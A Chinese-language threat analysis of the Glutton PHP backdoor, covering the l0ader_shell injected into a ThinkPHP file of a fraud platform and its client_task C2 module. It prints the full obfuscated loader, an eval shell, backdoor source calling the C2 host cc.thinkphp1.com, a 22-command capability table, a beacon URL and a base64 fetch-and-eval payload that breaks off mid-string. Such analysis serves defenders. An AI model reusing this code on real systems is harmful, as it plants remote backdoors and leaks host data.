The Analysis of l0ader_shell and Glutton’s client_task | 黑吃黑👍

黑白通吃:Glutton木马潜伏主流PHP框架,隐秘侵袭长达1年

以请求C2 cc.thinkphp1[.]com​做为被感染的标识,从我们的数据来看,受害者主要分布在中美俩地,涉及信息传输,商务服务,社会保障等行业。

image

在我们的溯源过程中,还发现了一个有意思的现象,Glutton的作者专门针对黑灰产的生产系统投毒,意图进行黑吃黑。时间回到2024年7月,我们以"b11st=0;"特征在VirusTotal进行狩猎,先后发现了5个被感染的文件,由不同的国家上传到VT。

Index MD5 DETECTION FIRST SEEN Country
1 3f8273575d4c75053110a3d237fda32c 2/65 2024.08.11 China
2 c1f6b7282408d4dfdc46e22bbdb3050f 0/59 2024.09.17 Germary
3 96fef42b234920f3eacfe718728b08a1 0/63 2024.10.14 SINGAPORE
4 ad150541a0a3e83b42da4752eb7e269b 1/62 2024.11.02 UNITED STATES
5 ad0d88982c7b297bb91bb9b4759ce0ab 4/41 2024.11.27 UNITED STATES

其中编号1,2,3是单个PHP文件;编号4,5为压缩包,包含一套完整的业务系统。它们之中最特别的是编号4,它是一套网络诈骗常用的刷单抢单系统,恶意代码l0ader_shell位于thinkphp框架中的APP.php。

l0ader_shell

分析一下l0ader_shell部分

 Hook::listen('app_init');
 ;$b11st=0;
 $l0ader=function($check){$sl=array(0x6578706c,0x6f646500,0x62617365,0x36345f64,0x65636f64,0x65006a73,0x6f6e5f64,0x65636f64,0x6500696d,0x706c6f64,0x65006172,0x7261795f,0x73686966,0x74007374,0x72726576,0x00737562,0x73747200,0x7374726c,0x656e0073,0x7472746f,0x6c6f7765,0x72006973,0x5f617272,0x61790070,0x6f736978,0x5f676574,0x70777569,0x64006765,0x745f6375,0x7272656e,0x745f7573,0x65720066,0x756e6374,0x696f6e5f,0x65786973,0x74730070,0x68705f73,0x6170695f,0x6e616d65,0x00706870,0x5f756e61,0x6d650070,0x68707665,0x7273696f,0x6e006765,0x74686f73,0x746e616d,0x65006677,0x72697465,0x0066696c,0x655f6765,0x745f636f,0x6e74656e,0x74730066,0x696c655f,0x7075745f,0x636f6e74,0x656e7473,0x00737472,0x65616d5f,0x736f636b,0x65745f63,0x6c69656e,0x74007379,0x735f6765,0x745f7465,0x6d705f64,0x69720070,0x6f736978,0x5f676574,0x75696400,0x63686d6f,0x64007469,0x6d650064,0x6566696e,0x65640063,0x6f6e7374,0x616e7400,0x696e695f,0x67657400,0x67657463,0x77640069,0x6e747661,0x6c00677a,0x756e636f,0x6d707265,0x73730068,0x7474705f,0x6275696c,0x645f7175,0x65727900,0x70636e74,0x6c5f666f,0x726b0070,0x636e746c,0x5f776169,0x74706964,0x00706f73,0x69785f73,0x65747369,0x6400636c,0x695f7365,0x745f7072,0x6f636573,0x735f7469,0x746c6500,0x66636c6f,0x73650073,0x6c656570,0x00756e6c,0x696e6b00,0x69676e6f,0x72655f75,0x7365725f,0x61626f72,0x74007265,0x67697374,0x65725f73,0x68757464,0x6f776e5f,0x66756e63,0x74696f6e,0x00736574,0x5f657272,0x6f725f68,0x616e646c,0x65720065,0x72726f72,0x5f726570,0x6f727469,0x6e670066,0x61737463,0x67695f66,0x696e6973,0x685f7265,0x71756573,0x74006973,0x5f726573,0x6f757263,0x65000050,0x44397761,0x48416761,0x57596f49,0x575a3162,0x6d4e3061,0x57397558,0x32563461,0x584e3063,0x79676958,0x31397964,0x57356659,0x32396b5a,0x5639344d,0x6a41694b,0x536c375a,0x6e567559,0x33527062,0x32346758,0x31397964,0x57356659,0x32396b5a,0x5639344d,0x6a416f4a,0x474d7065,0x79526b49,0x4430675a,0x585a6862,0x43676b59,0x796b374a,0x47453959,0x584a7959,0x586b6f4a,0x4751704f,0x334a6c64,0x48567962,0x69426863,0x6e4a6865,0x56397a61,0x476c6d64,0x43676b59,0x536b3766,0x58303700,0x5f5f7275,0x6e5f636f,0x64655f78,0x3230002f,0x73657373,0x5f7a7a69,0x75646272,0x6f726b64,0x61646869,0x70393076,0x396a6d6a,0x00fef100,0x01006457,0x52774f69,0x3876646a,0x49774c6e,0x526f6157,0x35726347,0x68774d53,0x356a6232,0x30364f54,0x6b344f41,0x3d3d0061,0x48523063,0x446f764c,0x3359794d,0x43353061,0x476c7561,0x33426f63,0x44457559,0x3239744c,0x3359794d,0x43397062,0x6d6c3050,0x773d3d00,0x6e6f6368,0x65636b30,0x00643200,0x69007500,0x74006869,0x64007069,0x6400636c,0x69007769,0x6e005048,0x505f4f53,0x006e616d,0x65005553,0x45520044,0x4f43554d,0x454e545f,0x524f4f54,0x00646973,0x61626c65,0x5f66756e,0x6374696f,0x6e730048,0x5454505f,0x434f4f4b,0x49450048,0x5454505f,0x484f5354,0x00534352,0x4950545f,0x4e414d45,0x00524551,0x55455354,0x5f555249,0x006c7600,0x677a0075,0x64005732,0x74336233,0x4a725a58,0x49764d44,0x6f775345,0x35640053,0x54444f55,0x54005354,0x44455252,0x00000000);;$r=false;foreach($sl as $d)$r.=chr($d>>24).chr($d>>16).chr($d>>8).chr($d);$f=substr($r,0,7);$f=$f(chr(0),$r);$g=$GLOBALS;$r=$_REQUEST;$s=$_SERVER;$l1i=isset($r[$f[54]])?$l1i=@$r[$f[54]]:0;$l1i&&$l1i=@$f[2]($f[1]($f[5]($l1i)));if($l1i&&$f[9]($l1i)){$w=$f[4]($l1i);$fu=$f[4]($l1i);die($w($fu==$f[55]?include($l1i[0]):$fu($l1i[0],$l1i[1])));}$uid=$f[12]($f[22])?@$f[22]():-1;$cli=($f[13]()==$f[60]);$os=$f[25]($f[62])?$f[26]($f[62]):$f[45];$sfile=$f[48];$sfile[2]='s';$sfile[3]='e';$sfile=$f[21]().$sfile;$pfile=$f[21]().$f[48];if( $f[8]($f[6]($os,0,3))==$f[61] ){$pfile.=$f[11]();$sfile.=$f[11]();}$hu=isset($s[$f[64]])?$s[$f[64]]:$f[11]();if($f[12]($f[10])&&$uid!=-1){$pu=$f[10]($uid);$hu=$pu?($pu[$f[63]]?:$hu):$hu;};$hid = @$f[29]($f[18]($sfile.$f[58]));$pid = @$f[29]($f[18]($sfile.$f[59]));$pwd = $cli?$f[28]():$s[$f[65]];$extra=$cli?$f[27]($f[66]):@$s[$f[67]];$extra=$extra?$f[6]($extra,0,1024):$f[45];$hv=substr($f[14](),0,128);$uri=@$s[$f[70]];$uri=$uri?$f[6]($uri,0,128):$f[45];$rdata=array(chr(22),$os,$f[16](),$hv,$uid,$hu,$hid,$pid?:$f[29]("5474"),$f[13](),$f[15](),$pwd,@$s[$f[68]],@$s[$f[69]],$uri,$extra);$tf=$pfile.$f[56].$f[29]($cli).$f[29]($uid===0);if($check && !@$r[$f[53]] && $f[24]()<@$f[29]($f[18]($tf)))return;$ok=(@$f[19]($tf,$f[24]()+7200)>0);@$f[23]($tf,0666);if($f[12]($f[20])){$ud=$f[6]($f[3](chr(0),$rdata),0,1400);@$f[17]($f[20]($f[1]($f[51]),$e1s, $e2s,5),$f[49].$f[50].$ud);}if(!$ok)return;$tf=$pfile.$f[55].$f[29]($cli).$f[29]($uid===0);if($check && !@$r[$f[53]] && $f[24]()<@$f[29]($f[18]($tf)))return;$a=array($pfile);if(@$f[19]($a[0],$f[1]($f[46]))>0){@include_once($pfile);}else{@$f[38]($a[0]);return;};@$f[38]($a[0]);$gz=$f[12]($f[30]);$go=function($lv)use($f,$gz,$rdata,$sfile){try{$rdata[6]=@$f[29]($f[18]($sfile.$f[58]));$rdata[7]=@$f[29]($f[18]($sfile.$f[59]));$d=@$f[31](array($f[73]=>$f[50].$f[3](chr(0),$rdata),$f[71]=>$lv,$f[72]=>$gz,$f[57]=>$f[24]()));$data=@$f[18]($f[1]($f[52]).$d);if($data && $gz)$data=@$f[30]($data);if($data)@$f[47]($data);return true;}catch(\Exception $e){}catch(\Throwable $e){}};if($cli){$hwai=$f[12]($f[33]);$pid=-1;if($f[12]($f[32]))$pid=$f[32]();if($pid<0){$go(3);return;}if($pid>0){return $hwai&&$f[33]($pid,$s);}if($hwai && $f[32]() )die;if($f[12]($f[34]))@$f[34]();if($f[12]($f[35]))@$f[35]($f[1]($f[74]));try{if($f[25]($f[75]))@$f[36]($f[26]($f[75]));if($f[25]($f[76]))@$f[36]($f[26]($f[76]));}catch(\Exception $e){}catch(\Throwable $e){};$nt0=0;do{if($f[24]()>$nt0){$nt0=$f[24]()+3600;@$f[19]($tf,$f[24]()+7200);@$go(4);}$f[37](60);}while(1);die;}else{$f[39](true);$f[40](function() use($f,$go){$f[41](function(){});$f[42](0);if($f[12]($f[43])){$f[43]();$go(2);}else{$go(1);}});}};set_error_handler(function(){});$error1=error_reporting();error_reporting(0);try{@$l0ader(true);}catch(\Exception $e){}catch(\Throwable $e){}error_reporting($error1);restore_error_handler();
 ;$b11ed=0;

这段webshell核心步骤为$r.=chr($d>>24).chr($d>>16).chr($d>>8).chr($d);​将 $sl​ 十六进制数字定义的数组分成 4 个字节转换为字符,然后解码后的字符串被存储在 $f​ 中。通过 $f[index]​ 调用了 PHP 内置函数

下面我们对上面webshell进行解密:

我们追踪一下$check​函数:

$check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];

如果 self::$routeCheck​ 非空,则 $check​ 取其值;否则取 $config['url_route_on']​,相当于控制 Webshell 执行流程的一个开关,最终会影响 @$l0ader(true)​ 的执行。

Webshell执行逻辑:

if ($check && !@$r[$f[53]] && $f[24]() < @$f[29]($f[18]($tf))) return;
$ok = (@$f[19]($tf, $f[24]() + 7200) > 0);

检查 $tf​ 文件是否在有效时间范围内(当前时间小于文件时间戳),并设置有效期为 2小时​。如果 $check​ 条件满足且时间戳验证不过,则代码将提前返回;如果时间戳检查通过,则代码依赖 $go​ 函数继续运行

webshell的持久化

if ($cli) {
    $hwai = $f[12]($f[33]);
    if ($hwai && $f[32]()) die;
    if ($f[12]($f[34])) @$f[34]();
    do {
        @$go(4);
        $f while (1);
    die;
} else {
    @$f[38]($a[0]);
}

如果在 CLI 模式下调用 $go​ 执行任务,每 60 秒循环一次,实现持久化控制。

$go​函数:

$go = function ($lv) use ($f, $gz, $rdata, $sfile) {
    try {
        $rdata[6] = @$f[29]($f[18]($sfile . $f[58]));
        $rdata[7] = @$f[29]($f[18]($sfile . $f[59]));
        $d = @$f[31](array(
            $f[73] => $f[50] . $f[3](chr(0), $rdata),
            $f[71] => $lv,
            $f[72] => $gz,
            $f[57] => $f[24]()
        ));
        $data = @$f[18]($f[1]($f[52]) . $d);
        if ($data && $gz) $data = @$f[30]($data);
        if ($data) @$f[47]($data);
        return true;
    } catch (\Exception $e) {
    } catch (\Throwable $e) {
    }
};

跳转到$lv

$d=@$f[31](array($f[73]=>$f[50].$f[3](chr(0),$rdata),$f[71]=>$lv,$f[72]=>$gz,$f[57]=>$f[24]()));

文件操作与回调:

if (@$f[19]($a[0], $f[1]($f[46])) > 0) {
    @include_once($pfile);
} else {
    @$f[38]($a[0]);
    return;
}

所以我们关键就是解码 $sl​ 数组,以获得 $f​ 内容。

按照逻辑编写PHP解密脚本:

<?php
$sl = [0x6578706c,0x6f646500,0x62617365,0x36345f64,0x65636f64,0x65006a73,0x6f6e5f64,0x65636f64,0x6500696d,0x706c6f64,0x65006172,0x7261795f,0x73686966,0x74007374,0x72726576,0x00737562,0x73747200,0x7374726c,0x656e0073,0x7472746f,0x6c6f7765,0x72006973,0x5f617272,0x61790070,0x6f736978,0x5f676574,0x70777569,0x64006765,0x745f6375,0x7272656e,0x745f7573,0x65720066,0x756e6374,0x696f6e5f,0x65786973,0x74730070,0x68705f73,0x6170695f,0x6e616d65,0x00706870,0x5f756e61,0x6d650070,0x68707665,0x7273696f,0x6e006765,0x74686f73,0x746e616d,0x65006677,0x72697465,0x0066696c,0x655f6765,0x745f636f,0x6e74656e,0x74730066,0x696c655f,0x7075745f,0x636f6e74,0x656e7473,0x00737472,0x65616d5f,0x736f636b,0x65745f63,0x6c69656e,0x74007379,0x735f6765,0x745f7465,0x6d705f64,0x69720070,0x6f736978,0x5f676574,0x75696400,0x63686d6f,0x64007469,0x6d650064,0x6566696e,0x65640063,0x6f6e7374,0x616e7400,0x696e695f,0x67657400,0x67657463,0x77640069,0x6e747661,0x6c00677a,0x756e636f,0x6d707265,0x73730068,0x7474705f,0x6275696c,0x645f7175,0x65727900,0x70636e74,0x6c5f666f,0x726b0070,0x636e746c,0x5f776169,0x74706964,0x00706f73,0x69785f73,0x65747369,0x6400636c,0x695f7365,0x745f7072,0x6f636573,0x735f7469,0x746c6500,0x66636c6f,0x73650073,0x6c656570,0x00756e6c,0x696e6b00,0x69676e6f,0x72655f75,0x7365725f,0x61626f72,0x74007265,0x67697374,0x65725f73,0x68757464,0x6f776e5f,0x66756e63,0x74696f6e,0x00736574,0x5f657272,0x6f725f68,0x616e646c,0x65720065,0x72726f72,0x5f726570,0x6f727469,0x6e670066,0x61737463,0x67695f66,0x696e6973,0x685f7265,0x71756573,0x74006973,0x5f726573,0x6f757263,0x65000050,0x44397761,0x48416761,0x57596f49,0x575a3162,0x6d4e3061,0x57397558,0x32563461,0x584e3063,0x79676958,0x31397964,0x57356659,0x32396b5a,0x5639344d,0x6a41694b,0x536c375a,0x6e567559,0x33527062,0x32346758,0x31397964,0x57356659,0x32396b5a,0x5639344d,0x6a416f4a,0x474d7065,0x79526b49,0x4430675a,0x585a6862,0x43676b59,0x796b374a,0x47453959,0x584a7959,0x586b6f4a,0x4751704f,0x334a6c64,0x48567962,0x69426863,0x6e4a6865,0x56397a61,0x476c6d64,0x43676b59,0x536b3766,0x58303700,0x5f5f7275,0x6e5f636f,0x64655f78,0x3230002f,0x73657373,0x5f7a7a69,0x75646272,0x6f726b64,0x61646869,0x70393076,0x396a6d6a,0x00fef100,0x01006457,0x52774f69,0x3876646a,0x49774c6e,0x526f6157,0x35726347,0x68774d53,0x356a6232,0x30364f54,0x6b344f41,0x3d3d0061,0x48523063,0x446f764c,0x3359794d,0x43353061,0x476c7561,0x33426f63,0x44457559,0x3239744c,0x3359794d,0x43397062,0x6d6c3050,0x773d3d00,0x6e6f6368,0x65636b30,0x00643200,0x69007500,0x74006869,0x64007069,0x6400636c,0x69007769,0x6e005048,0x505f4f53,0x006e616d,0x65005553,0x45520044,0x4f43554d,0x454e545f,0x524f4f54,0x00646973,0x61626c65,0x5f66756e,0x6374696f,0x6e730048,0x5454505f,0x434f4f4b,0x49450048,0x5454505f,0x484f5354,0x00534352,0x4950545f,0x4e414d45,0x00524551,0x55455354,0x5f555249,0x006c7600,0x677a0075,0x64005732,0x74336233,0x4a725a58,0x49764d44,0x6f775345,0x35640053,0x54444f55,0x54005354,0x44455252,0x00000000];
$r = '';

foreach ($sl as $d) {
    $decoded = chr($d >> 24) . chr($d >> 16) . chr($d >> 8) . chr($d);
    $r .= $decoded . "\n";
}

echo $r;
?>

image

后面还有base64,解密一下:

image

一个shell:

<?php 
if(!function_exists("__run_code_x20")) {
    function __run_code_x20($c) {
        $d = eval($c);
        $a=array($d);
        return array_shift($a);
    }
};

以及解密出的域名

image

image

此外:

image

应该是 Linux 系统中内核工作线程(Kernel Worker Thread)的一个标识

webshell最后是其保护机制:

set_error_handler(function() {});
$error1 = error_reporting();
error_reporting(0);
try {
    @$l0ader(true);
} catch (\Exception $e) {}
error_reporting($error1);
restore_error_handler();

屏蔽错误输出,将所有错误报告设置为 0,防止调试信息泄露。

Glutton's client_task

PHP后门

根据域名,我们进行反查样本,发现Glutton webshell的client_task​模块

image

image

image

和我们之前PHP解密内容相符

其中,client_socket​类将C2地址明文写入

class client_socket
{
    public $show_log=0;
    public $support_udp=1;

    private $socket_handle=null;
    private $is_tcp=false;
    protected $sid=0;
    protected $server_id=0;

    public $sleep_mode=0;
    private $config_keepalive_time=60;

    private $__last_send_time=0;
    private $__last_recv_time=0;

    public $tcp_uri='tcp://cc.thinkphp1.com:9501';
    public $udp_uri='udp://cc.thinkphp1.com:9501';

    private $__cache_packet=array();
    public function login($use_tcp=null)
    {
        $this->sid=0;

        if($use_tcp===null)
        {
            if(!$this->touch())return false;
        }else
        {
            $this->close();
            if(!$this->connect($use_tcp))return false;
            $this->set_timeout(5);          
        }
        $this->set_timeout(10);
        if(!$this->send_packet(10,s2go_make_login_packet(),false))return false;

        $packet=$this->read_packet();
        if(!$packet || $packet['cmd']!=148)
        {
            $this->log_msg("login return !cmd_config");
            $this->close();
            return false;
        }
        $this->process_packet($packet);

        if($this->sid>0)
        {
            $this->log_msg("login success,tcp={$this->is_tcp},sid={$this->sid},server_id={$this->server_id}");
        }

        return $this->sid>0;
    }

client_v1​类继承client_socket​,通过process_std_cmd_v1​类处理C2下发的指令。


class client_v1 extends client_socket
{
    public $std_method;
    public $is_winnt=false;

    public function __construct() {
        $this->std_method=new process_std_cmd_v1();
        $this->is_winnt=(substr(strtolower(PHP_OS),0,3)=='win');
    }

image

通过控制$cmd​来执行操作,如获取文件夹名称、获取当前文件列表、创建文件夹等,我们可以批量查找$cmd==​来确定其功能,注意if else循环

这个php后门支持22个不同的指令,以下为指令号以及对应的功能。

ID Function
1 ping(udp only)
2 pong(udp only)
10 login
31 keepalive
148 set connection config
149 switch connection to tcp
150 switch connection to udp
151 shell
152 upload/download file via tcp
189 get_temp_dir
190 scandir
191 get dir info
192 mkdir
193 write file
194 read file
195 create file
196 rm
197 copy file
198 rename file
199 chmod
200 chown
201 eval php code

通过劫持到的通信样本,我们可以分析其主动向服务器发送的信息:

http://v20.thinkphp1.com:80/v20/save?host_id=6144&host_uid=-1&sapi_name=cli&php_version=5.4.16&host_version=Linux+localhost+3.10.0-862.el7.x86_64+%231+SMP+Fri+Apr+20+16%3A44%3A24+UTC+2018+x86_64&host_os=Linux&host_name=localhost

发现含有 host_id​ 、host_uid​ 、 php_version​ 、 host_version​ 、 host_os​ 、 host_name

private function fetch_code_and_run()
{
    if(time()<$this->next_fetch_time)return '';
    $this->next_fetch_time=time()+3600;
    if(function_exists("exec"))exec("ps -ef|grep kworker/0:0HN |grep -v grep|awk '{print $2}'|xargs kill");

    if( $this->fetch_task->run_in_fork() )return true;

    $code='aWYoIWNsYXNzX2V4aXN0cygiZmV0Y2hfdGFzayIpKQ0Kew0KICAgIGNsYXNzIGZldGNoX3Rhc2sNCiAgICB7DQogICAgICAgIHByaXZhdGUgJGlzX3Jvb3Q9ZmFsc2U7DQoNCiAgICAgICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCkNCiAgICAgICAgew0KICAgICAgICAgICAgJHVpZD1mdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHVpZCIpP3Bvc2l4X2dldHVpZCgpOi0xOw0KICAgICAgICAgICAgJHRoaXMtPmlzX3Jvb3Q9KCR1aWQ9PT0wKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgcHVibGljIGZ1bmN0aW9uIHJ1bl9pbl9mb3JrKCkNCiAgICAgICAgew0KICAgICAgICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygicGNudGxfZm9yayIpIHx8ICFmdW5jdGlvbl9leGlzdHMoInBjbnRsX3dhaXRwaWQiKSApcmV0dXJuIGZhbHNlOw0KDQogICAgICAgICAgICAkY29kZT0kdGhpcy0+ZmV0Y2goKTsNCiAgICAgICAgICAgICR0aGlzLT5fX3dyaXRlX3Rhc2tfdGltZV9maWxlKHRydWUpOw0KICAgICAgICAgICAgaWYoISRjb2RlKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAkcGlkPXBjbnRsX2ZvcmsoKTsNCiAgICAgICAgICAgIGlmKCRwaWQ9PTApDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgaWYocGNudGxfZm9yaygpKWV4aXQoMCk7DQogICAgICAgICAgICAgICAgdHJ5ew0KICAgICAgICAgICAgICAgICAgICBAZXZhbCgkY29kZSk7DQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIH1jYXRjaChcRXhjZXB0aW9uICRlKXskdGhpcy0+cG9zdF9lcnJvcigkZSk7fWNhdGNoKFxUaHJvd2FibGUgJGUpeyR0aGlzLT5wb3N0X2Vycm9yKCRlKTt9DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgZXhpdCgwKTsNCiAgICAgICAgICAgIH1lbHNlIGlmKCRwaWQ+MCkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBwY250bF93YWl0cGlkKCRwaWQsJHMpOw0KICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgICAgICB9ZWxzZSBpZigkcGlkPDApDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBydW5fc3RhdGljKCkNCiAgICAgICAgew0KICAgICAgICAgICAgJHRhc2s9bmV3IGZldGNoX3Rhc2soKTsNCiAgICAgICAgICAgICRjb2RlPSR0YXNrLT5mZXRjaCgpOw0KICAgICAgICAgICAgJHRhc2stPl9fd3JpdGVfdGFza190aW1lX2ZpbGUodHJ1ZSk7DQogICAgICAgICAgICBpZighJGNvZGUpcmV0dXJuIHRydWU7DQoNCiAgICAgICAgICAgIHRyeXsNCiAgICAgICAgICAgICAgICBAZXZhbCgkY29kZSk7DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICB9Y2F0Y2goXEV4Y2VwdGlvbiAkZSl7JHRhc2stPnBvc3RfZXJyb3IoJGUpO31jYXRjaChcVGhyb3dhYmxlICRlKXskdGFzay0+cG9zdF9lcnJvcigkZSk7fQ0KICAgICAgICAgICAgDQogICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgfQ0KDQogICAgICAgIGZ1bmN0aW9uIG1ha2VfYmFzZV9wYXJhbXMoKQ0KICAgICAgICB7DQoNCiAgICAgICAgICAgICRzbmFtZT1waHBfc2FwaV9uYW1lKCk7DQogICAgICAgIA0KICAgICAgICAgICAgJHVpZD1mdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHVpZCIpP3Bvc2l4X2dldHVpZCgpOi0xOw0KICAgICAgICAgICAgJG9zPWRlZmluZWQoIlBIUF9PUyIpP0Bjb25zdGFudCgiUEhQX09TIik6IiI7DQogICAgICAgICAgICAkdXNlcj1nZXRlbnYoJ1VTRVInKSA/OiBnZXRfY3VycmVudF91c2VyKCk/OmdldGVudignVVNFUk5BTUUnKTsNCg0KICAgICAgICAgICAgJHNmaWxlPScvc2Vzc196eml1ZGJyb3JrZGFkaGlwOTB2OWptaic7JHNmaWxlWzJdPSdzJzskc2ZpbGVbM109J2UnOw0KICAgICAgICAgICAgJHNmaWxlPXN5c19nZXRfdGVtcF9kaXIoKS4kc2ZpbGU7DQogICAgDQogICAgICAgICAgICAkcGZpbGU9c3lzX2dldF90ZW1wX2RpcigpLicvc2Vzc196eml1ZGJyb3JrZGFkaGlwOTB2OWptaic7DQogICAgICAgICAgICAkaXNfd2luPSggc3RydG9sb3dlcihzdWJzdHIoJG9zLCAwLCAzKSk9PSJ3aW4iICk7DQogICAgICAgICAgICBpZigkaXNfd2luJiYkdXNlcikNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkcGZpbGUuPSR1c2VyOw0KICAgICAgICAgICAgICAgICRzZmlsZS49JHVzZXI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkaGlkID0gQGludHZhbChmaWxlX2dldF9jb250ZW50cygkc2ZpbGUuImhpZCIpKTsNCiAgICAgICAgICAgIGlmKCEkaGlkKSRoaWQgPSBAaW50dmFsKGZpbGVfZ2V0X2NvbnRlbnRzKCRwZmlsZS4iaGlkIikpOw0KICAgICAgICAgICAgDQogICAgICAgICAgICAkaGRhdGE9YXJyYXkoImhvc3RfaWQiPT4kaGlkLCJob3N0X3VpZCI9PiR1aWQsImhvc3RfdmVyc2lvbiI9PnBocF91bmFtZSgpLCJob3N0X29zIj0+JG9zLCJob3N0X25hbWUiPT5nZXRob3N0bmFtZSgpLCJzYXBpX25hbWUiPT4kc25hbWUsInBocF92ZXJzaW9uIj0+cGhwdmVyc2lvbigpKTsNCiAgICAgICAgICAgIHJldHVybiAkaGRhdGE7ICAgICAgICAgICANCiAgICAgICAgfQ0KDQogICAgICAgIHByaXZhdGUgJG5leHRfZXJyb3JfdGltZT0wOw0KICAgICAgICBmdW5jdGlvbiBwb3N0X2Vycm9yKCRlKQ0KICAgICAgICB7DQogICAgICAgICAgICBpZih0aW1lKCk8JHRoaXMtPm5leHRfZXJyb3JfdGltZSlyZXR1cm4gIiI7DQogICAgICAgICAgICAkdGhpcy0+bmV4dF9lcnJvcl90aW1lPXRpbWUoKSs3MjAwOw0KICAgICAgICAgICAgDQogICAgICAgICAgICAkZT1zdHJ2YWwoJGUpOw0KICAgIA0KICAgICAgICAgICAgJGhkYXRhPSR0aGlzLT5tYWtlX2Jhc2VfcGFyYW1zKCk7DQogICAgICAgICAgICAkaGRhdGFbJ21zZyddPWFycmF5KCJ0aXRsZSI9PiJjbGkuZXJyb3IiLCJjb250ZW50Ij0+c3RydmFsKCRlKSk7DQogICAgDQogICAgICAgICAgICAkcG9zdGRhdGEgPSBodHRwX2J1aWxkX3F1ZXJ5KCRoZGF0YSk7DQogICAgICAgICAgICAkb3B0aW9ucyA9IGFycmF5KA0KICAgICAgICAgICAgICAnaHR0cCcgPT4gYXJyYXkoDQogICAgICAgICAgICAgICAgJ21ldGhvZCcgPT4gJ1BPU1QnLA0KICAgICAgICAgICAgICAgICdoZWFkZXInID0+ICdDb250ZW50LXR5cGU6YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJywNCiAgICAgICAgICAgICAgICAnY29udGVudCcgPT4gJHBvc3RkYXRhLA0KICAgICAgICAgICAgICAgICd0aW1lb3V0JyA9PiAxNSANCiAgICAgICAgICAgICAgKQ0KICAgICAgICAgICAgKTsNCiAgICANCiAgICAgICAgICAgICRjb250ZXh0ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRvcHRpb25zKTsNCiAgICAgICAgICAgICRyZXN1bHQgPSBAZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly92MjAudGhpbmtwaHAxLmNvbS92MjAvc2F2ZT8nLCBmYWxzZSwgJGNvbnRleHQpOw0KICAgICAgICAgICAgcmV0dXJuICRyZXN1bHQ7DQogICAgICAgIH0NCg0KDQogICAgICAgIGZ1bmN0aW9uIF9fd3JpdGVfdGFza190aW1lX2ZpbGUoJGRpc2FibGVfY2dpPWZhbHNlKQ0KICAgICAgICB7DQogICAgICAgICAgICAkcGZpbGU9c3lzX2dldF90ZW1wX2RpcigpLicvc2Vzc196eml1ZGJyb3JrZGFkaGlwOTB2OWptaic7DQogICAgICAgICAgICBpZiggc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLCAwLCAzKSk9PSJ3aW4iICkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkdXNlcj1nZXRlbnYoJ1VTRVInKSA/OiBnZXRfY3VycmVudF91c2VyKCk/OmdldGVudignVVNFUk5BTUUnKTsNCiAgICAgICAgICAgICAgICBpZigkdXNlcikNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICR0aGlzLT5fX3dyaXRlX3RvX3RpbWVfZmlsZSgkcGZpbGUsJGRpc2FibGVfY2dpKTsNCiAgICAgICAgICAgICAgICAgICAgJHBmaWxlLj0kdXNlcjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICR0aGlzLT5fX3dyaXRlX3RvX3RpbWVfZmlsZSgkcGZpbGUsJGRpc2FibGVfY2dpKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGZ1bmN0aW9uIF9fd3JpdGVfdG9fdGltZV9maWxlKCRwZmlsZSwkZGlzYWJsZV9jZ2k9ZmFsc2UpDQogICAgICAgIHsNCg0KICAgICAgICAgICAgaWYoJHRoaXMtPmlzX3Jvb3QpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMTEiOw0KICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkZmlsZSx0aW1lKCkrNzIwMCoyKTsNCiAgICAgICAgICAgICAgICBAY2htb2QoJGZpbGUsMDY2Nik7DQogICAgDQogICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMTAiOw0KICAgICAgICAgICAgICAgIGlmKGZpbGVfZXhpc3RzKCRmaWxlKSlAZmlsZV9wdXRfY29udGVudHMoJGZpbGUsdGltZSgpKzcyMDAqMik7DQogICAgICAgICAgICAgICAgaWYoJGRpc2FibGVfY2dpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMDEiOw0KICAgICAgICAgICAgICAgICAgICBpZihmaWxlX2V4aXN0cygkZmlsZSkpQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLHRpbWUoKSs3MjAwKjIpOw0KICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMDAiOw0KICAgICAgICAgICAgICAgICAgICBpZihmaWxlX2V4aXN0cygkZmlsZSkpQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLHRpbWUoKSs3MjAwKjIpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH1lbHNlDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMTAiOw0KICAgICAgICAgICAgICAgIE